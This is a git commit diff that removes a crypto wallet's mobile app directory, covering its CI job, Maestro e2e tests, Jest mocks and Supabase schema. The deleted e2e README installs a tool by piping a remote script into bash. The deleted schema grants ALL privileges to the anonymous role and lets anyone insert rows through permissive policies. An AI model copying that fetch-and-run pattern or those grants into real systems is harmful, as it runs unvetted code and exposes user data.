chore: remove mobile/ from monorepo, suspend CI mobile job

* chore: update exchange submodule to pex.network release + add shared images

Exchange submodule advanced to include:
- sweeper.js: TRC-20 JWT Bearer auth, DOT transferAll, PEZ-AH pre-fund
- docker-compose.yml: pex.network defaults for VITE_API_BASE_URL and SMTP_FROM
- .github/workflows/build-deploy.yml: pex.network build arg for web service

Shared images added: keziyakurd, kiwi_perwerde, kurdistan_assembly, pezkuwi, satoshi_qazi_muh

* chore: remove mobile/ from monorepo, suspend CI mobile job

Mobile app moved to /home/mamostehp/pwap-mobile (local, suspended).
Will be re-integrated when mobile development resumes.

- Removed mobile/ directory entirely
- Removed Mobile App job from quality-gate.yml so CI no longer blocks
This commit is contained in:
2026-04-27 03:10:41 +03:00
committed by GitHub
parent 0d71433cc1
commit 18d41743e8
381 changed files with 0 additions and 128135 deletions
-36
View File
@@ -74,42 +74,6 @@ jobs:
name: web-dist
path: web/dist/
# ========================================
# MOBILE APP - LINT & TEST
# ========================================
mobile:
name: Mobile App
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
- name: Cache npm dependencies
uses: actions/cache@v4
with:
path: mobile/node_modules
key: ${{ runner.os }}-mobile-${{ hashFiles('mobile/package-lock.json') }}
restore-keys: |
${{ runner.os }}-mobile-
- name: Install dependencies
working-directory: ./mobile
run: npm install --legacy-peer-deps
- name: Run Linter
working-directory: ./mobile
run: npm run lint
- name: Run Tests
working-directory: ./mobile
run: npm run test
# ========================================
# DEPLOY WEB APP TO VPS
# ========================================
-46
View File
@@ -1,46 +0,0 @@
# Learn more https://docs.github.com/en/get-started/getting-started-with-git/ignoring-files
# dependencies
node_modules/
# Expo
.expo/
dist/
web-build/
expo-env.d.ts
# Native
.kotlin/
*.orig.*
*.jks
*.p8
*.p12
*.key
*.mobileprovision
# Metro
.metro-health-check*
# debug
npm-debug.*
yarn-debug.*
yarn-error.*
# macOS
.DS_Store
*.pem
# local env files
.env*.local
# typescript
*.tsbuildinfo
# generated native folders
/ios
/android
# Environment files
.env
.env.local
.env.*.local
-32
View File
@@ -1,32 +0,0 @@
appId: io.pezkuwichain.wallet
name: "E2E: Onboarding Flow"
---
# Welcome Screen
- assertVisible: "Pezkuwi"
- assertVisible: "Create Wallet"
# Language Selection (if visible)
- tapOn:
text: "English"
optional: true
# Navigate to Wallet Setup
- tapOn: "Create Wallet"
# Wallet Setup Screen
- assertVisible: "Create"
- assertVisible: "Import"
# Create a new wallet
- tapOn:
text: "Create New Wallet"
# Mnemonic should be shown
- assertVisible: "Recovery Phrase"
# Confirm mnemonic
- tapOn: "I've saved it"
# Should reach wallet screen
- assertVisible: "HEZ"
- assertVisible: "PEZ"
-35
View File
@@ -1,35 +0,0 @@
appId: io.pezkuwichain.wallet
name: "E2E: Send Transaction Flow"
---
# Wallet Screen
- assertVisible: "HEZ"
# Tap Send button
- tapOn:
text: "Send"
index: 0
# Send Screen
- assertVisible: "Recipient Address"
- assertVisible: "Amount"
# Enter recipient address
- tapOn:
id: "Recipient wallet address"
- inputText: "5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty"
# Enter amount
- tapOn:
id: "Amount of HEZ to send"
- inputText: "0.001"
# Fee should appear
- assertVisible:
text: "Estimated Fee"
optional: true
# Send button should be enabled
- assertVisible: "Send HEZ"
# Go back (don't actually send in E2E test)
- back
-23
View File
@@ -1,23 +0,0 @@
appId: io.pezkuwichain.wallet
name: "E2E: Receive Screen"
---
# From wallet screen
- assertVisible: "HEZ"
# Tap Receive
- tapOn:
text: "Receive"
# Receive Screen
- assertVisible: "Receive"
- assertVisible: "Share your address"
- assertVisible: "Copy Address"
- assertVisible: "Share"
# QR code should be visible
- assertVisible:
text: "5G"
optional: true
# Go back
- back
-24
View File
@@ -1,24 +0,0 @@
appId: io.pezkuwichain.wallet
name: "E2E: DApp Browser"
---
# Navigate to Apps tab
- tapOn: "Apps"
# Apps Screen
- assertVisible: "DApp Browser"
# Open DApp Browser
- tapOn: "DApp Browser"
# DApp Browser Screen
- assertVisible: "DApp Browser"
- assertVisible:
text: "Search or enter URL"
optional: true
# Bookmarked DApps should be visible
- assertVisible: "Polkadot.js Apps"
- assertVisible: "Pezkuwi Portal"
# Go back
- back
-28
View File
@@ -1,28 +0,0 @@
appId: io.pezkuwichain.wallet
name: "E2E: Settings & Network Switch"
---
# From wallet screen
- assertVisible: "HEZ"
# Tap network selector
- tapOn:
text: "Pezkuwi Mainnet"
optional: true
# Network selector modal should open
- assertVisible:
text: "Select Network"
optional: true
# Networks should be listed
- assertVisible:
text: "Pezkuwi Mainnet"
optional: true
- assertVisible:
text: "Dicle Testnet"
optional: true
# Close without changing
- tapOn:
text: "Close"
optional: true
-34
View File
@@ -1,34 +0,0 @@
# E2E Tests (Maestro)
## Setup
```bash
# Install Maestro CLI
curl -Ls "https://get.maestro.mobile.dev" | bash
# Or via npm
npm install -g maestro
```
## Running Tests
```bash
# Single test
maestro test .maestro/01-onboarding.yaml
# All tests
maestro test .maestro/
# With connected device
adb devices # ensure device is connected
maestro test .maestro/
```
## Test Flows
1. **01-onboarding** — Welcome → Create Wallet → Mnemonic → Dashboard
2. **02-send-flow** — Wallet → Send → Enter address/amount → Verify fee
3. **03-receive-flow** — Wallet → Receive → QR code visible → Copy/Share
4. **04-dapp-browser** — Apps → DApp Browser → Bookmarks visible
5. **05-settings-network** — Wallet → Network selector → Networks listed
## Prerequisites
- App must be installed on device/emulator
- For tests requiring wallet: run 01-onboarding first
-29
View File
@@ -1,29 +0,0 @@
{
"types": [
{ "type": "feat", "section": "Features" },
{ "type": "fix", "section": "Bug Fixes" },
{ "type": "chore", "section": "Chores", "hidden": false },
{ "type": "docs", "section": "Documentation", "hidden": false },
{ "type": "style", "section": "Styling", "hidden": true },
{ "type": "refactor", "section": "Code Refactoring", "hidden": false },
{ "type": "perf", "section": "Performance Improvements" },
{ "type": "test", "section": "Tests", "hidden": false },
{ "type": "build", "section": "Build System", "hidden": false },
{ "type": "ci", "section": "Continuous Integration", "hidden": false }
],
"bumpFiles": [
{
"filename": "package.json",
"type": "json"
},
{
"filename": "app.json",
"updater": "scripts/version-updater.cjs"
}
],
"commitUrlFormat": "https://github.com/pezkuwichain/pwap/commit/{{hash}}",
"compareUrlFormat": "https://github.com/pezkuwichain/pwap/compare/{{previousTag}}...{{currentTag}}",
"issueUrlFormat": "https://github.com/pezkuwichain/pwap/issues/{{id}}",
"tagPrefix": "mobile-v",
"header": "# Pezkuwi Mobile Changelog\n\nAll notable changes to the Pezkuwi Mobile application will be documented in this file.\n"
}
-25
View File
@@ -1,25 +0,0 @@
import React from 'react';
import { StatusBar } from 'expo-status-bar';
import { ErrorBoundary } from './src/components/ErrorBoundary';
import { AuthProvider } from './src/contexts/AuthContext';
import { PezkuwiProvider } from './src/contexts/PezkuwiContext';
import { BiometricAuthProvider } from './src/contexts/BiometricAuthContext';
import { ThemeProvider } from './src/contexts/ThemeContext';
import AppNavigator from './src/navigation/AppNavigator';
export default function App() {
return (
<ErrorBoundary>
<ThemeProvider>
<AuthProvider>
<PezkuwiProvider>
<BiometricAuthProvider>
<StatusBar style="auto" />
<AppNavigator />
</BiometricAuthProvider>
</PezkuwiProvider>
</AuthProvider>
</ThemeProvider>
</ErrorBoundary>
);
}
-25
View File
@@ -1,25 +0,0 @@
import React from 'react';
import { StatusBar } from 'expo-status-bar';
import { ErrorBoundary } from './src/components/ErrorBoundary';
import { AuthProvider } from './src/contexts/AuthContext';
import { PezkuwiProvider } from './src/contexts/PezkuwiContext';
import { BiometricAuthProvider } from './src/contexts/BiometricAuthContext';
import { ThemeProvider } from './src/contexts/ThemeContext';
import AppNavigator from './src/navigation/AppNavigator';
export default function App() {
return (
<ErrorBoundary>
<ThemeProvider>
<AuthProvider>
<PezkuwiProvider>
<BiometricAuthProvider>
<StatusBar style="auto" />
<AppNavigator />
</BiometricAuthProvider>
</PezkuwiProvider>
</AuthProvider>
</ThemeProvider>
</ErrorBoundary>
);
}
-27
View File
@@ -1,27 +0,0 @@
# Pezkuwi Mobile Changelog
All notable changes to the Pezkuwi Mobile application will be documented in this file.
## [1.0.0] - 2026-01-19
### Features
- Welcome screen with language selection
- Multi-language support (EN, TR, KMR, CKB, AR, FA)
- RTL support for Arabic, Central Kurdish, and Persian
- Authentication (Sign In/Sign Up)
- Main dashboard with 5-tab bottom navigation
- Wallet integration with @pezkuwi/api
- Live blockchain data display (HEZ, PEZ, USDT)
- Send/receive transaction functionality
- QR code generation and scanning
- Biometric authentication (Face ID / Fingerprint)
- Secure storage for sensitive data
- WebView SSO integration
### Chores
- Initial project setup with Expo SDK 54
- Jest testing configuration with 35%+ coverage
- ESLint configuration
- CI/CD pipeline setup
-117
View File
@@ -1,117 +0,0 @@
-- ==================================================
-- Schema Compatibility Fix
-- ==================================================
-- This SQL adds missing columns to existing tables
-- to make them compatible with mobile app
-- ==================================================
-- 1. Add missing columns to forum_discussions
ALTER TABLE forum_discussions
ADD COLUMN IF NOT EXISTS likes INTEGER DEFAULT 0;
-- Update existing rows
UPDATE forum_discussions SET likes = 0 WHERE likes IS NULL;
-- 2. Add missing columns to forum_replies
ALTER TABLE forum_replies
ADD COLUMN IF NOT EXISTS likes INTEGER DEFAULT 0;
-- Update existing rows
UPDATE forum_replies SET likes = 0 WHERE likes IS NULL;
-- 3. Fix notifications table
-- Check if user_id exists and rename to user_address
DO $$
BEGIN
-- If user_id exists, rename it to user_address
IF EXISTS (
SELECT 1 FROM information_schema.columns
WHERE table_name = 'notifications'
AND column_name = 'user_id'
) THEN
ALTER TABLE notifications RENAME COLUMN user_id TO user_address;
END IF;
-- If user_address still doesn't exist, add it
IF NOT EXISTS (
SELECT 1 FROM information_schema.columns
WHERE table_name = 'notifications'
AND column_name = 'user_address'
) THEN
ALTER TABLE notifications ADD COLUMN user_address VARCHAR(100);
END IF;
-- Add other missing columns
IF NOT EXISTS (
SELECT 1 FROM information_schema.columns
WHERE table_name = 'notifications'
AND column_name = 'type'
) THEN
ALTER TABLE notifications ADD COLUMN type VARCHAR(20) DEFAULT 'system';
END IF;
IF NOT EXISTS (
SELECT 1 FROM information_schema.columns
WHERE table_name = 'notifications'
AND column_name = 'title'
) THEN
ALTER TABLE notifications ADD COLUMN title VARCHAR(200);
END IF;
IF NOT EXISTS (
SELECT 1 FROM information_schema.columns
WHERE table_name = 'notifications'
AND column_name = 'read'
) THEN
ALTER TABLE notifications ADD COLUMN read BOOLEAN DEFAULT FALSE;
END IF;
IF NOT EXISTS (
SELECT 1 FROM information_schema.columns
WHERE table_name = 'notifications'
AND column_name = 'metadata'
) THEN
ALTER TABLE notifications ADD COLUMN metadata JSONB;
END IF;
END $$;
-- ==================================================
-- Verify Fix
-- ==================================================
-- Check forum_discussions
SELECT 'forum_discussions' as table_name,
column_name,
data_type,
is_nullable
FROM information_schema.columns
WHERE table_name = 'forum_discussions'
AND column_name IN ('likes', 'created_at', 'updated_at')
ORDER BY ordinal_position;
-- Check forum_replies
SELECT 'forum_replies' as table_name,
column_name,
data_type,
is_nullable
FROM information_schema.columns
WHERE table_name = 'forum_replies'
AND column_name IN ('likes', 'created_at')
ORDER BY ordinal_position;
-- Check notifications
SELECT 'notifications' as table_name,
column_name,
data_type,
is_nullable
FROM information_schema.columns
WHERE table_name = 'notifications'
AND column_name IN ('user_address', 'type', 'title', 'message', 'read', 'metadata', 'created_at')
ORDER BY ordinal_position;
-- ==================================================
-- SUCCESS MESSAGE
-- ==================================================
SELECT '✅ Schema compatibility fix complete!' as status;
SELECT 'Run check_schema_compatibility.cjs again to verify' as next_step;
-276
View File
@@ -1,276 +0,0 @@
-- ==================================================
-- Pezkuwi Mobile App - Supabase Database Schema
-- ==================================================
-- This schema creates all tables needed for web2 features:
-- - Forum (discussions, categories, replies)
-- - P2P Platform (ads, trades)
-- - Notifications
-- - Referrals
-- ==================================================
-- Enable UUID extension
CREATE EXTENSION IF NOT EXISTS "uuid-ossp";
-- ==================================================
-- FORUM TABLES
-- ==================================================
-- Forum Categories
CREATE TABLE IF NOT EXISTS forum_categories (
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
name VARCHAR(100) NOT NULL UNIQUE,
description TEXT,
icon VARCHAR(50),
created_at TIMESTAMPTZ DEFAULT NOW(),
updated_at TIMESTAMPTZ DEFAULT NOW()
);
-- Forum Discussions (Threads)
CREATE TABLE IF NOT EXISTS forum_discussions (
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
category_id UUID NOT NULL REFERENCES forum_categories(id) ON DELETE CASCADE,
author_address VARCHAR(100) NOT NULL,
author_name VARCHAR(100),
title VARCHAR(200) NOT NULL,
content TEXT NOT NULL,
likes INTEGER DEFAULT 0,
replies_count INTEGER DEFAULT 0,
created_at TIMESTAMPTZ DEFAULT NOW(),
updated_at TIMESTAMPTZ DEFAULT NOW()
);
-- Forum Replies
CREATE TABLE IF NOT EXISTS forum_replies (
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
discussion_id UUID NOT NULL REFERENCES forum_discussions(id) ON DELETE CASCADE,
author_address VARCHAR(100) NOT NULL,
author_name VARCHAR(100),
content TEXT NOT NULL,
likes INTEGER DEFAULT 0,
created_at TIMESTAMPTZ DEFAULT NOW()
);
-- ==================================================
-- P2P PLATFORM TABLES
-- ==================================================
-- P2P Ads
CREATE TABLE IF NOT EXISTS p2p_ads (
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
user_address VARCHAR(100) NOT NULL,
type VARCHAR(10) NOT NULL CHECK (type IN ('buy', 'sell')),
merchant_name VARCHAR(100) NOT NULL,
rating DECIMAL(3,2) DEFAULT 0.00 CHECK (rating >= 0 AND rating <= 5),
trades_count INTEGER DEFAULT 0,
price DECIMAL(18,2) NOT NULL,
currency VARCHAR(10) NOT NULL DEFAULT 'USD',
amount VARCHAR(50) NOT NULL,
min_limit VARCHAR(50) NOT NULL,
max_limit VARCHAR(50) NOT NULL,
payment_methods TEXT[] NOT NULL,
status VARCHAR(20) NOT NULL DEFAULT 'active' CHECK (status IN ('active', 'inactive', 'completed')),
created_at TIMESTAMPTZ DEFAULT NOW(),
updated_at TIMESTAMPTZ DEFAULT NOW()
);
-- P2P Trades
CREATE TABLE IF NOT EXISTS p2p_trades (
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
ad_id UUID NOT NULL REFERENCES p2p_ads(id) ON DELETE CASCADE,
buyer_address VARCHAR(100) NOT NULL,
seller_address VARCHAR(100) NOT NULL,
amount VARCHAR(50) NOT NULL,
price DECIMAL(18,2) NOT NULL,
total DECIMAL(18,2) NOT NULL,
status VARCHAR(20) NOT NULL DEFAULT 'pending' CHECK (status IN ('pending', 'paid', 'confirmed', 'disputed', 'completed', 'cancelled')),
payment_method VARCHAR(100) NOT NULL,
escrow_address VARCHAR(100),
chat_messages JSONB DEFAULT '[]'::jsonb,
created_at TIMESTAMPTZ DEFAULT NOW(),
updated_at TIMESTAMPTZ DEFAULT NOW()
);
-- ==================================================
-- NOTIFICATIONS TABLE
-- ==================================================
CREATE TABLE IF NOT EXISTS notifications (
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
user_address VARCHAR(100) NOT NULL,
type VARCHAR(20) NOT NULL CHECK (type IN ('transaction', 'governance', 'p2p', 'referral', 'system')),
title VARCHAR(200) NOT NULL,
message TEXT NOT NULL,
read BOOLEAN DEFAULT FALSE,
metadata JSONB,
created_at TIMESTAMPTZ DEFAULT NOW()
);
-- ==================================================
-- REFERRALS TABLE
-- ==================================================
CREATE TABLE IF NOT EXISTS referrals (
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
referrer_address VARCHAR(100) NOT NULL,
referee_address VARCHAR(100) NOT NULL UNIQUE,
status VARCHAR(20) NOT NULL DEFAULT 'pending' CHECK (status IN ('pending', 'active', 'completed')),
earnings DECIMAL(18,2) DEFAULT 0.00,
created_at TIMESTAMPTZ DEFAULT NOW(),
updated_at TIMESTAMPTZ DEFAULT NOW(),
UNIQUE(referrer_address, referee_address)
);
-- ==================================================
-- INDEXES FOR PERFORMANCE
-- ==================================================
-- Forum indexes
CREATE INDEX IF NOT EXISTS idx_forum_discussions_category ON forum_discussions(category_id);
CREATE INDEX IF NOT EXISTS idx_forum_discussions_author ON forum_discussions(author_address);
CREATE INDEX IF NOT EXISTS idx_forum_discussions_created ON forum_discussions(created_at DESC);
CREATE INDEX IF NOT EXISTS idx_forum_replies_discussion ON forum_replies(discussion_id);
CREATE INDEX IF NOT EXISTS idx_forum_replies_author ON forum_replies(author_address);
-- P2P indexes
CREATE INDEX IF NOT EXISTS idx_p2p_ads_user ON p2p_ads(user_address);
CREATE INDEX IF NOT EXISTS idx_p2p_ads_type ON p2p_ads(type);
CREATE INDEX IF NOT EXISTS idx_p2p_ads_status ON p2p_ads(status);
CREATE INDEX IF NOT EXISTS idx_p2p_ads_created ON p2p_ads(created_at DESC);
CREATE INDEX IF NOT EXISTS idx_p2p_trades_ad ON p2p_trades(ad_id);
CREATE INDEX IF NOT EXISTS idx_p2p_trades_buyer ON p2p_trades(buyer_address);
CREATE INDEX IF NOT EXISTS idx_p2p_trades_seller ON p2p_trades(seller_address);
CREATE INDEX IF NOT EXISTS idx_p2p_trades_status ON p2p_trades(status);
-- Notifications indexes
CREATE INDEX IF NOT EXISTS idx_notifications_user ON notifications(user_address);
CREATE INDEX IF NOT EXISTS idx_notifications_read ON notifications(read);
CREATE INDEX IF NOT EXISTS idx_notifications_created ON notifications(created_at DESC);
-- Referrals indexes
CREATE INDEX IF NOT EXISTS idx_referrals_referrer ON referrals(referrer_address);
CREATE INDEX IF NOT EXISTS idx_referrals_referee ON referrals(referee_address);
CREATE INDEX IF NOT EXISTS idx_referrals_status ON referrals(status);
-- ==================================================
-- ROW LEVEL SECURITY (RLS) POLICIES
-- ==================================================
-- Enable RLS on all tables
ALTER TABLE forum_categories ENABLE ROW LEVEL SECURITY;
ALTER TABLE forum_discussions ENABLE ROW LEVEL SECURITY;
ALTER TABLE forum_replies ENABLE ROW LEVEL SECURITY;
ALTER TABLE p2p_ads ENABLE ROW LEVEL SECURITY;
ALTER TABLE p2p_trades ENABLE ROW LEVEL SECURITY;
ALTER TABLE notifications ENABLE ROW LEVEL SECURITY;
ALTER TABLE referrals ENABLE ROW LEVEL SECURITY;
-- Forum policies (public read, authenticated write)
CREATE POLICY "Forum categories are viewable by everyone" ON forum_categories FOR SELECT USING (true);
CREATE POLICY "Forum discussions are viewable by everyone" ON forum_discussions FOR SELECT USING (true);
CREATE POLICY "Forum discussions can be created by anyone" ON forum_discussions FOR INSERT WITH CHECK (true);
CREATE POLICY "Forum discussions can be updated by author" ON forum_discussions FOR UPDATE USING (author_address = current_setting('request.jwt.claims', true)::json->>'address');
CREATE POLICY "Forum replies are viewable by everyone" ON forum_replies FOR SELECT USING (true);
CREATE POLICY "Forum replies can be created by anyone" ON forum_replies FOR INSERT WITH CHECK (true);
-- P2P policies (users can only see active ads and their own trades)
CREATE POLICY "P2P ads are viewable by everyone" ON p2p_ads FOR SELECT USING (status = 'active' OR user_address = current_setting('request.jwt.claims', true)::json->>'address');
CREATE POLICY "P2P ads can be created by anyone" ON p2p_ads FOR INSERT WITH CHECK (true);
CREATE POLICY "P2P ads can be updated by owner" ON p2p_ads FOR UPDATE USING (user_address = current_setting('request.jwt.claims', true)::json->>'address');
CREATE POLICY "P2P trades are viewable by participants" ON p2p_trades FOR SELECT USING (
buyer_address = current_setting('request.jwt.claims', true)::json->>'address' OR
seller_address = current_setting('request.jwt.claims', true)::json->>'address'
);
CREATE POLICY "P2P trades can be created by anyone" ON p2p_trades FOR INSERT WITH CHECK (true);
CREATE POLICY "P2P trades can be updated by participants" ON p2p_trades FOR UPDATE USING (
buyer_address = current_setting('request.jwt.claims', true)::json->>'address' OR
seller_address = current_setting('request.jwt.claims', true)::json->>'address'
);
-- Notifications policies (users can only see their own)
CREATE POLICY "Users can view their own notifications" ON notifications FOR SELECT USING (user_address = current_setting('request.jwt.claims', true)::json->>'address');
CREATE POLICY "Users can update their own notifications" ON notifications FOR UPDATE USING (user_address = current_setting('request.jwt.claims', true)::json->>'address');
-- Referrals policies (users can see their own referrals)
CREATE POLICY "Users can view their own referrals" ON referrals FOR SELECT USING (
referrer_address = current_setting('request.jwt.claims', true)::json->>'address' OR
referee_address = current_setting('request.jwt.claims', true)::json->>'address'
);
CREATE POLICY "Referrals can be created by anyone" ON referrals FOR INSERT WITH CHECK (true);
-- ==================================================
-- SAMPLE DATA FOR TESTING
-- ==================================================
-- Insert sample forum categories
INSERT INTO forum_categories (name, description, icon) VALUES
('General', 'General discussions about PezkuwiChain', '💬'),
('Governance', 'Proposals, voting, and governance topics', '🏛️'),
('Technical', 'Technical discussions and development', '💻'),
('Trading', 'P2P trading and market discussions', '📈'),
('Support', 'Get help and support', '')
ON CONFLICT (name) DO NOTHING;
-- ==================================================
-- FUNCTIONS AND TRIGGERS
-- ==================================================
-- Function to update updated_at timestamp
CREATE OR REPLACE FUNCTION update_updated_at_column()
RETURNS TRIGGER AS $$
BEGIN
NEW.updated_at = NOW();
RETURN NEW;
END;
$$ language 'plpgsql';
-- Triggers for updated_at
CREATE TRIGGER update_forum_discussions_updated_at BEFORE UPDATE ON forum_discussions FOR EACH ROW EXECUTE FUNCTION update_updated_at_column();
CREATE TRIGGER update_p2p_ads_updated_at BEFORE UPDATE ON p2p_ads FOR EACH ROW EXECUTE FUNCTION update_updated_at_column();
CREATE TRIGGER update_p2p_trades_updated_at BEFORE UPDATE ON p2p_trades FOR EACH ROW EXECUTE FUNCTION update_updated_at_column();
CREATE TRIGGER update_referrals_updated_at BEFORE UPDATE ON referrals FOR EACH ROW EXECUTE FUNCTION update_updated_at_column();
-- Function to increment replies_count
CREATE OR REPLACE FUNCTION increment_replies_count()
RETURNS TRIGGER AS $$
BEGIN
UPDATE forum_discussions
SET replies_count = replies_count + 1
WHERE id = NEW.discussion_id;
RETURN NEW;
END;
$$ language 'plpgsql';
-- Trigger for replies count
CREATE TRIGGER increment_forum_replies_count
AFTER INSERT ON forum_replies
FOR EACH ROW
EXECUTE FUNCTION increment_replies_count();
-- ==================================================
-- GRANT PERMISSIONS
-- ==================================================
-- Grant usage on all tables to anon and authenticated users
GRANT USAGE ON SCHEMA public TO anon, authenticated;
GRANT ALL ON ALL TABLES IN SCHEMA public TO anon, authenticated;
GRANT ALL ON ALL SEQUENCES IN SCHEMA public TO anon, authenticated;
-- ==================================================
-- SCHEMA COMPLETE
-- ==================================================
-- Verify table creation
SELECT
'forum_categories' as table_name, COUNT(*) as row_count FROM forum_categories
UNION ALL
SELECT 'forum_discussions', COUNT(*) FROM forum_discussions
UNION ALL
SELECT 'forum_replies', COUNT(*) FROM forum_replies
UNION ALL
SELECT 'p2p_ads', COUNT(*) FROM p2p_ads
UNION ALL
SELECT 'p2p_trades', COUNT(*) FROM p2p_trades
UNION ALL
SELECT 'notifications', COUNT(*) FROM notifications
UNION ALL
SELECT 'referrals', COUNT(*) FROM referrals;
@@ -1,16 +0,0 @@
module.exports = {
web3FromAddress: jest.fn(() => Promise.resolve({
signer: {
signRaw: jest.fn(),
signPayload: jest.fn(),
},
})),
web3Enable: jest.fn(() => Promise.resolve([
{
name: 'Polkadot.js Extension',
version: '1.0.0',
},
])),
web3Accounts: jest.fn(() => Promise.resolve([])),
web3ListRpcMethods: jest.fn(() => Promise.resolve([])),
};
-33
View File
@@ -1,33 +0,0 @@
import { View } from 'react-native';
export const GestureHandlerRootView = View;
export const PanGestureHandler = View;
export const TapGestureHandler = View;
export const PinchGestureHandler = View;
export const RotationGestureHandler = View;
export const LongPressGestureHandler = View;
export const ForceTouchGestureHandler = View;
export const FlingGestureHandler = View;
export const NativeViewGestureHandler = View;
export const createNativeWrapper = (component) => component;
export const State = {};
export const Directions = {};
export const gestureHandlerRootHOC = (component) => component;
export const Swipeable = View;
export const DrawerLayout = View;
export const ScrollView = View;
export const Slider = View;
export const Switch = View;
export const TextInput = View;
export const ToolbarAndroid = View;
export const ViewPagerAndroid = View;
export const DrawerLayoutAndroid = View;
export const WebView = View;
export const RawButton = View;
export const BaseButton = View;
export const RectButton = View;
export const BorderlessButton = View;
export const TouchableHighlight = View;
export const TouchableNativeFeedback = View;
export const TouchableOpacity = View;
export const TouchableWithoutFeedback = View;
-72
View File
@@ -1,72 +0,0 @@
// eslint-disable-next-line @typescript-eslint/no-unused-vars
import React from 'react';
import { View, Text, Image, Animated } from 'react-native';
const Reanimated = {
default: {
View,
Text,
Image,
ScrollView: Animated.ScrollView,
createAnimatedComponent: (component) => component,
spring: jest.fn(),
timing: jest.fn(),
decay: jest.fn(),
sequence: jest.fn(),
parallel: jest.fn(),
delay: jest.fn(),
loop: jest.fn(),
event: jest.fn(),
call: jest.fn(),
block: jest.fn(),
cond: jest.fn(),
eq: jest.fn(),
neq: jest.fn(),
and: jest.fn(),
or: jest.fn(),
defined: jest.fn(),
not: jest.fn(),
set: jest.fn(),
concat: jest.fn(),
add: jest.fn(),
sub: jest.fn(),
multiply: jest.fn(),
divide: jest.fn(),
pow: jest.fn(),
modulo: jest.fn(),
sqrt: jest.fn(),
sin: jest.fn(),
cos: jest.fn(),
tan: jest.fn(),
acos: jest.fn(),
asin: jest.fn(),
atan: jest.fn(),
proc: jest.fn(),
useCode: jest.fn(),
useValue: jest.fn(() => new Animated.Value(0)),
interpolateNode: jest.fn(),
Extrapolate: { CLAMP: jest.fn() },
Value: Animated.Value,
Clock: jest.fn(),
interpolate: jest.fn(),
Easing: Animated.Easing,
},
useSharedValue: jest.fn(() => ({ value: 0 })),
useAnimatedStyle: jest.fn((cb) => cb()),
useAnimatedGestureHandler: jest.fn(),
useAnimatedScrollHandler: jest.fn(),
withTiming: jest.fn((value) => value),
withSpring: jest.fn((value) => value),
withDecay: jest.fn((value) => value),
withDelay: jest.fn((_delay, value) => value),
withSequence: jest.fn((...args) => args[0]),
withRepeat: jest.fn((value) => value),
cancelAnimation: jest.fn(),
runOnJS: jest.fn((fn) => fn),
runOnUI: jest.fn((fn) => fn),
Easing: Animated.Easing,
EasingNode: Animated.Easing,
};
export default Reanimated;
export const { useSharedValue, useAnimatedStyle, useAnimatedGestureHandler, useAnimatedScrollHandler, withTiming, withSpring, withDecay, withDelay, withSequence, withRepeat, cancelAnimation, runOnJS, runOnUI, Easing, EasingNode } = Reanimated;
-11
View File
@@ -1,11 +0,0 @@
// Mock for shared/lib/referral.ts
module.exports = {
initiateReferral: jest.fn(() => Promise.resolve()),
getPendingReferral: jest.fn(() => Promise.resolve(null)),
getReferralCount: jest.fn(() => Promise.resolve(0)),
getReferralInfo: jest.fn(() => Promise.resolve(null)),
calculateReferralScore: jest.fn(() => 0),
getReferralStats: jest.fn(() => Promise.resolve({ totalReferred: 0, pendingCount: 0, confirmedCount: 0 })),
getMyReferrals: jest.fn(() => Promise.resolve([])),
subscribeToReferralEvents: jest.fn(() => jest.fn()),
};
-21
View File
@@ -1,21 +0,0 @@
// Mock for shared/lib/scores.ts
module.exports = {
getTrustScore: jest.fn(() => Promise.resolve(0)),
getTrustScoreDetails: jest.fn(() => Promise.resolve(null)),
getReferralScore: jest.fn(() => Promise.resolve(0)),
getReferralCount: jest.fn(() => Promise.resolve(0)),
getStakingScoreFromPallet: jest.fn(() => Promise.resolve(0)),
getTikiScore: jest.fn(() => Promise.resolve(0)),
getAllScores: jest.fn(() =>
Promise.resolve({
trustScore: 0,
referralScore: 0,
stakingScore: 0,
tikiScore: 0,
totalScore: 0,
})
),
getScoreColor: jest.fn(() => '#22C55E'),
getScoreRating: jest.fn(() => 'Good'),
formatScore: jest.fn((score) => String(score)),
};
-33
View File
@@ -1,33 +0,0 @@
// Mock for shared/lib/tiki.ts
module.exports = {
Tiki: {
Welati: 'Welati',
Parlementer: 'Parlementer',
SerokiMeclise: 'SerokiMeclise',
Serok: 'Serok',
EndameDiwane: 'EndameDiwane',
Dadger: 'Dadger',
Dozger: 'Dozger',
Hiquqnas: 'Hiquqnas',
Noter: 'Noter',
Wezir: 'Wezir',
},
RoleAssignmentType: {},
TIKI_DISPLAY_NAMES: {},
TIKI_SCORES: {},
ROLE_CATEGORIES: {},
fetchUserTikis: jest.fn(() => Promise.resolve([])),
isCitizen: jest.fn(() => Promise.resolve(false)),
calculateTikiScore: jest.fn(() => 0),
getPrimaryRole: jest.fn(() => 'Welati'),
getTikiDisplayName: jest.fn((tiki) => tiki),
getUserRoleCategories: jest.fn(() => []),
hasTiki: jest.fn(() => false),
getTikiColor: jest.fn(() => '#22C55E'),
getTikiEmoji: jest.fn(() => '\uD83D\uDC64'),
getTikiBadgeVariant: jest.fn(() => 'default'),
fetchUserTikiNFTs: jest.fn(() => Promise.resolve([])),
getCitizenNFTDetails: jest.fn(() => Promise.resolve(null)),
getAllTikiNFTDetails: jest.fn(() => Promise.resolve([])),
generateCitizenNumber: jest.fn(() => 'CIT-001'),
};
-13
View File
@@ -1,13 +0,0 @@
// Mock for sonner (web-only toast library)
module.exports = {
toast: {
success: jest.fn(),
error: jest.fn(),
info: jest.fn(),
warning: jest.fn(),
promise: jest.fn(),
loading: jest.fn(),
dismiss: jest.fn(),
},
Toaster: () => null,
};
-20
View File
@@ -1,20 +0,0 @@
import React from 'react';
import { Text } from 'react-native';
// Simplified integration test that doesn't import the full App
// This avoids complex dependency chains during testing
describe('App Integration Tests', () => {
it('should have a passing test', () => {
expect(true).toBe(true);
});
it('should be able to create React components', () => {
const TestComponent = () => <Text>Test</Text>;
expect(TestComponent).toBeDefined();
});
it('should have React Native available', () => {
expect(Text).toBeDefined();
});
});
-62
View File
